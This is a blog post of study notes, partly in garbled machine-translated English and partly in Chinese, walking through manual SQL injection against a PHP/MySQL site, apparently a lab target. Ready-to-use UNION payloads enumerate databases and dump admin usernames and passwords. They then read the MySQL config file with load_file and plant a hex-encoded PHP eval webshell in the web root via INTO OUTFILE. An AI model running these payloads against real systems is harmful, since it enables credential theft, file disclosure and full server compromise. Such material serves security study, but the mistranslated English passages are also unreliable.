Injection study (2) Mysql + php injection point reads the configuration file load_file

English II: mysql manual injection function load_file

2019-05-27 10:33:28

 

There are three objectives (require manual):
 1 . Injected by hand to find out the user's password admin
 2 reads the contents of the mysql my.ini phpstudy profile.
 3 written by webshell injection point.

    Goal 1: injected by hand to find the admin user's password

    • Web page? (Http: //www.***.net/index.php) id prompted query, try first index.php id = 1, the normal return data, followed by the and 1 = 1, and 1 = 2 judgment about whether there is injected
    • This reduces the difficulty, without closing statements (generally require mysql)
    • Analyzing some fields are order by? id = 1 order by n% 23 can try out n = 5
    • Joint inquiry union select 1,2,3 ......, n determine which fields to display
    • Check the current database
      +union select 1,database(),2,3,4,5 %23

      You can see the current database named test

    • Check all databases
    • union select schema_name,2,3,4,5  from information_schema.schemata

    • Next, enter the test database query table name

    • union select 1,table_name,3,4,5 from information_schema.tables where table_schema='test'

    • The next burst table column names admin

      union select 1,column_name,3,4,5 from information_schema.columns where table_name='admin'

    • Find the username and password field name, query values

      union select username,password,3,4,5 from admin

      group_concat()函数的作用是 将相同的行组合起来
      语法:group_concat( [DISTINCT]  要连接的字段   [Order BY 排序字段 ASC/DESC]   [Separator '分隔符'] )
      具体用法需查询,这里并不需要

    目标2:读取phpstudy中mysql的my.ini配置文件内容

    • 这里用到load_file()函数导出文件
      Load_file(file_name):读取文件并返回该文件的内容作为一个字符串

      函数使用时需要满足以下条件:

      • 必须有权限读取并且文件必须完全可读 
         and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
         and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
      • 欲读取文件必须在服务器上 
      • 必须指定文件完整的路径
      • 欲读取文件必须小于 max_allowed_packet
      • 如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,user权限就不能使用load_file读取文件了
    • 注入点是root权限,所以权限满足了,接下来找路径

      • 使用函数
        basedir 该参数指定了安装 MySQL 的安装路径,填写全路径可以解决相对路径所造成的问题
        例如:
        basedir="E:/dev/MySQL/MySQL Server 5.2/"
        则表示我的 MySQL 安装在 E:/dev/MySQL/MySQL Server 5.2/ 路径下
        
        datadir 该参数指定了 MySQL 的数据库文件放在什么路径下。数据库文件即我们常说的 MySQL data 文件
        例如:
        datadir="E:/dev/MySQL/MySQL Server 5.2/Data/"
        则表示我的 MySQL 数据库文件放在 E:/dev/MySQL/MySQL Server 5.2/Data/ 路径下
        union select user(),2,3,@@datadir,@@basedir

        查询出了路径,下面可以进行文件读取了,百度一波,my.ini文件应该是E:\phpstudy\MySQL\data\my.ini 构造语句查询

        union%20select%20load_file(%27E:\\phpstudy\\MySQL\\my.ini%27),2,3,4,5
        ##这里注意,路径里的/需要用\\代替

    目标3:通过这个注入点写入webshell

    •  利用需要满足以下条件:
      • root权限
      • GPC关闭(能使用单引号)
      • 有绝对路径(读文件可以不用,写文件必须)
      • 没有配置—secure-file-priv
        参数secure_file_priv:
        -其中当参数 secure_file_priv 为空时,对导入导出无限制
        -当值为一个指定的目录时,只能向指定的目录导入导出
        -当值被设置为NULL时,禁止导入导出功能
        -这个值可以通过命令 select @@secure_file_priv 查询
    • 不知道插入的路径怎么办?可以看看自己的phpstudy文件夹,也可以构造语句通过报错信息来判断可以访问的文件
      union%20select%200x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,2,3,4,5%20into%20outfile%20%27E:\\phpstudy\\WWW\\sqli-one\\zhong.php%27
      ##这里的一句话木马要转换为十六进制,以0x开头
      ##插入的信息(一句话木马)不加单引号,插入的路径要加‘’)
      ##dumpfile与outfile的区别(详解需百度)
        outfile函数可以导出多行,而dumpfile只能导出一行数据
        outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

    • 可以看到报错信息也提示了路径。刷新页面查询文件是否上传成功,然后用菜刀连就行啦~

    参考引用链接:https://www.cnblogs.com/lcamry/p/5763111.html

      ————感谢卿哥 组长,步履不停

Guess you like

Origin www.cnblogs.com/-saber/p/10923618.html